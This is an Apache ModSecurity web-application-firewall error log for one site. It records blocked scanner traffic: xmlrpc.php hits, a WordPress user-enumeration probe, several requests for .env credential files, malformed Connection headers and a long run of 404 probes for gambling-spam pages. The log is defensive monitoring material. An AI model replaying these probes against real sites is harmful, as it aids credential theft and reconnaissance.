[Fri Feb 20 05:48:43.043624 2026] [:error] [pid 64404:tid 64450] [client 201.218.125.149:2077] [client 201.218.125.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.218.125.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeFO8g5Wkqq1wjajcCD-wAAAEo"]
[Fri Feb 20 05:49:59.214160 2026] [:error] [pid 64403:tid 64420] [client 201.218.125.149:2078] [client 201.218.125.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.218.125.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeFh2sY-w3EIXaNGw54EQAAAAc"]
[Fri Feb 20 05:51:23.655700 2026] [:error] [pid 64510:tid 64522] [client 49.204.108.149:13202] [client 49.204.108.149] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZeF2yxwOnmwqVfn93VCswAAAMo"]
[Fri Feb 20 05:52:40.092889 2026] [:error] [pid 417:tid 430] [client 49.204.108.149:12477] [client 49.204.108.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.108.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeGKGZ8vv9H56paZ2DoDgAAAQs"]
[Fri Feb 20 05:53:54.601191 2026] [:error] [pid 64403:tid 64417] [client 49.204.108.149:12545] [client 49.204.108.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.108.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeGcmsY-w3EIXaNGw55LQAAAAQ"]
[Fri Feb 20 05:55:05.931515 2026] [:error] [pid 64510:tid 64522] [client 49.204.108.149:12644] [client 49.204.108.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.108.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeGuSxwOnmwqVfn93VEIgAAAMo"]
[Fri Feb 20 05:56:26.915588 2026] [:error] [pid 417:tid 425] [client 49.204.108.149:11874] [client 49.204.108.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.108.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeHCmZ8vv9H56paZ2DqiwAAAQY"]
[Fri Feb 20 06:28:45.238411 2026] [:error] [pid 64510:tid 64525] [client 43.135.144.126:46924] [client 43.135.144.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZeOnSxwOnmwqVfn93VTvAAAAM0"]
[Fri Feb 20 07:53:07.150008 2026] [:error] [pid 22593:tid 22606] [client 43.130.53.252:36566] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZeiY_yNLWpYZrEp9vUl6AAAAos"]
[Fri Feb 20 08:33:47.159294 2026] [:error] [pid 22083:tid 22086] [client 213.199.52.233:38200] [client 213.199.52.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api2/.env"] [unique_id "aZer6_K5OtWAzFVJ_9KVSgAAAUE"]
[Fri Feb 20 08:33:47.321383 2026] [:error] [pid 22083:tid 22104] [client 213.199.52.233:38192] [client 213.199.52.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aZer6_K5OtWAzFVJ_9KVSwAAAVM"]
[Fri Feb 20 08:33:48.908119 2026] [:error] [pid 417:tid 431] [client 213.199.52.233:48320] [client 213.199.52.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aZer7GZ8vv9H56paZ2A56AAAAQw"]
[Fri Feb 20 08:33:49.218596 2026] [:error] [pid 22386:tid 22388] [client 213.199.52.233:48330] [client 213.199.52.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api2/.env"] [unique_id "aZer7Vx0Mpd-hTXwU6KXpwAAAgA"]
[Fri Feb 20 13:16:31.577766 2026] [:error] [pid 59127:tid 59138] [client 43.157.191.20:36370] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZfuL3Sltzl55Qz-09jFIgAAAQk"]
[Fri Feb 20 14:40:29.630898 2026] [:error] [pid 54520:tid 54527] [client 43.135.145.77:35460] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZgB3WQaQX7QUBqXcyGJpQAAAIU"]
[Fri Feb 20 16:17:11.988311 2026] [:error] [pid 54460:tid 54486] [client 185.93.89.27:38506] [client 185.93.89.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aZgYh8oUiaZ-Z7V-F98lmwAAABU"]
[Fri Feb 20 16:17:12.027593 2026] [:error] [pid 54552:tid 54576] [client 185.93.89.27:38498] [client 185.93.89.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aZgYiMe4t0F-_sbWepbp-gAAANU"]
[Fri Feb 20 16:17:13.415185 2026] [:error] [pid 54520:tid 54538] [client 185.93.89.27:45306] [client 185.93.89.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aZgYiWQaQX7QUBqXcyGligAAAJA"]
[Fri Feb 20 16:17:13.505119 2026] [:error] [pid 54520:tid 54529] [client 185.93.89.27:45312] [client 185.93.89.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aZgYiWQaQX7QUBqXcyGliwAAAIc"]
[Fri Feb 20 19:34:05.138825 2026] [:error] [pid 46012:tid 46017] [client 195.201.199.99:53796] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZhGrTXz-GTvuxLwgUE9AAAAAUM"]
[Fri Feb 20 19:34:08.725689 2026] [:error] [pid 54552:tid 54576] [client 195.201.199.99:57314] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZhGsMe4t0F-_sbWepYlYQAAANU"]
[Fri Feb 20 19:34:12.021113 2026] [:error] [pid 46012:tid 46036] [client 195.201.199.99:58498] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZhGtDXz-GTvuxLwgUE9DwAAAVY"]
[Fri Feb 20 19:34:15.052094 2026] [:error] [pid 54461:tid 54512] [client 195.201.199.99:59508] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZhGty372fkN0w39NDOwywAAAFQ"]
[Fri Feb 20 19:34:18.417867 2026] [:error] [pid 59127:tid 59146] [client 195.201.199.99:60574] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZhGunSltzl55Qz-09gzlAAAARE"]
[Fri Feb 20 19:34:21.995392 2026] [:error] [pid 46012:tid 46029] [client 195.201.199.99:33410] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZhGvTXz-GTvuxLwgUE9GwAAAU8"]
[Fri Feb 20 19:34:26.504114 2026] [:error] [pid 46012:tid 46033] [client 195.201.199.99:34750] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZhGwjXz-GTvuxLwgUE9KwAAAVM"]
[Fri Feb 20 19:34:30.577257 2026] [:error] [pid 54460:tid 54484] [client 195.201.199.99:35800] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZhGxsoUiaZ-Z7V-F99nVQAAABM"]
[Fri Feb 20 19:34:34.561493 2026] [:error] [pid 54461:tid 54492] [client 195.201.199.99:36728] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZhGyi372fkN0w39NDOw6QAAAEA"]
[Fri Feb 20 19:34:37.989782 2026] [:error] [pid 46012:tid 46017] [client 195.201.199.99:37662] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZhGzTXz-GTvuxLwgUE9PQAAAUM"]
[Fri Feb 20 19:34:42.359588 2026] [:error] [pid 54460:tid 54468] [client 195.201.199.99:38820] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZhG0soUiaZ-Z7V-F99nagAAAAM"]
[Fri Feb 20 19:34:46.569629 2026] [:error] [pid 46012:tid 46028] [client 195.201.199.99:39822] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZhG1jXz-GTvuxLwgUE9WAAAAU4"]
[Fri Feb 20 19:34:49.872614 2026] [:error] [pid 54520:tid 54541] [client 195.201.199.99:40582] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZhG2WQaQX7QUBqXcyHehgAAAJM"]
[Fri Feb 20 19:34:52.056755 2026] [:error] [pid 54460:tid 54468] [client 43.156.204.134:53762] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZhG3MoUiaZ-Z7V-F99ndAAAAAM"]
[Fri Feb 20 19:34:53.868271 2026] [:error] [pid 54520:tid 54526] [client 195.201.199.99:41620] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZhG3WQaQX7QUBqXcyHejAAAAIQ"]
[Fri Feb 20 19:34:58.146226 2026] [:error] [pid 54460:tid 54479] [client 195.201.199.99:42656] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZhG4soUiaZ-Z7V-F99ngAAAAA4"]
[Fri Feb 20 19:35:56.283150 2026] [:error] [pid 54461:tid 54494] [client 195.201.199.99:43536] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZhHHC372fkN0w39NDOxbQAAAEI"]
[Fri Feb 20 19:36:00.882650 2026] [:error] [pid 54460:tid 54473] [client 195.201.199.99:55506] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZhHIMoUiaZ-Z7V-F99n3AAAAAg"]
[Fri Feb 20 19:36:04.320560 2026] [:error] [pid 54520:tid 54545] [client 195.201.199.99:56260] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZhHJGQaQX7QUBqXcyHfCQAAAJc"]
[Fri Feb 20 19:36:07.371559 2026] [:error] [pid 54461:tid 54500] [client 195.201.199.99:56846] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aZhHJy372fkN0w39NDOxegAAAEg"]
[Fri Feb 20 19:36:10.358083 2026] [:error] [pid 54460:tid 54469] [client 195.201.199.99:57430] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aZhHKsoUiaZ-Z7V-F99n6gAAAAQ"]
[Fri Feb 20 19:36:13.638379 2026] [:error] [pid 54460:tid 54478] [client 195.201.199.99:58016] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aZhHLcoUiaZ-Z7V-F99n7QAAAA0"]
[Fri Feb 20 19:36:16.482905 2026] [:error] [pid 54460:tid 54466] [client 195.201.199.99:58558] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aZhHMMoUiaZ-Z7V-F99n9AAAAAE"]
[Fri Feb 20 19:36:19.528267 2026] [:error] [pid 54520:tid 54537] [client 195.201.199.99:59118] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZhHM2QaQX7QUBqXcyHfHgAAAI8"]
[Fri Feb 20 19:36:22.818380 2026] [:error] [pid 54520:tid 54534] [client 195.201.199.99:59758] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aZhHNmQaQX7QUBqXcyHfIQAAAIw"]
[Fri Feb 20 19:36:25.472224 2026] [:error] [pid 46012:tid 46014] [client 195.201.199.99:60230] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZhHOTXz-GTvuxLwgUE-AAAAAUA"]
[Fri Feb 20 19:36:28.166691 2026] [:error] [pid 54520:tid 54544] [client 195.201.199.99:60726] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aZhHPGQaQX7QUBqXcyHfLQAAAJY"]
[Fri Feb 20 19:36:31.308276 2026] [:error] [pid 46012:tid 46019] [client 195.201.199.99:33066] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZhHPzXz-GTvuxLwgUE-CQAAAUU"]
[Fri Feb 20 19:36:34.430243 2026] [:error] [pid 59127:tid 59148] [client 195.201.199.99:33634] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZhHQnSltzl55Qz-09g0bgAAARM"]
[Fri Feb 20 19:36:37.793449 2026] [:error] [pid 54552:tid 54568] [client 195.201.199.99:34218] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZhHRce4t0F-_sbWepYl-QAAAM0"]
[Fri Feb 20 19:36:40.584696 2026] [:error] [pid 46012:tid 46036] [client 195.201.199.99:34724] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZhHSDXz-GTvuxLwgUE-FgAAAVY"]
[Fri Feb 20 19:36:43.395049 2026] [:error] [pid 54520:tid 54531] [client 195.201.199.99:35258] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZhHS2QaQX7QUBqXcyHfPgAAAIk"]
[Fri Feb 20 19:36:46.435131 2026] [:error] [pid 59127:tid 59146] [client 195.201.199.99:35802] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZhHTnSltzl55Qz-09g0eAAAARE"]
[Fri Feb 20 19:36:49.263072 2026] [:error] [pid 54520:tid 54540] [client 195.201.199.99:36290] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZhHUWQaQX7QUBqXcyHfQgAAAJI"]
[Fri Feb 20 19:37:37.854858 2026] [:error] [pid 54461:tid 54514] [client 195.201.199.99:36848] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZhHgS372fkN0w39NDOx3QAAAFY"]
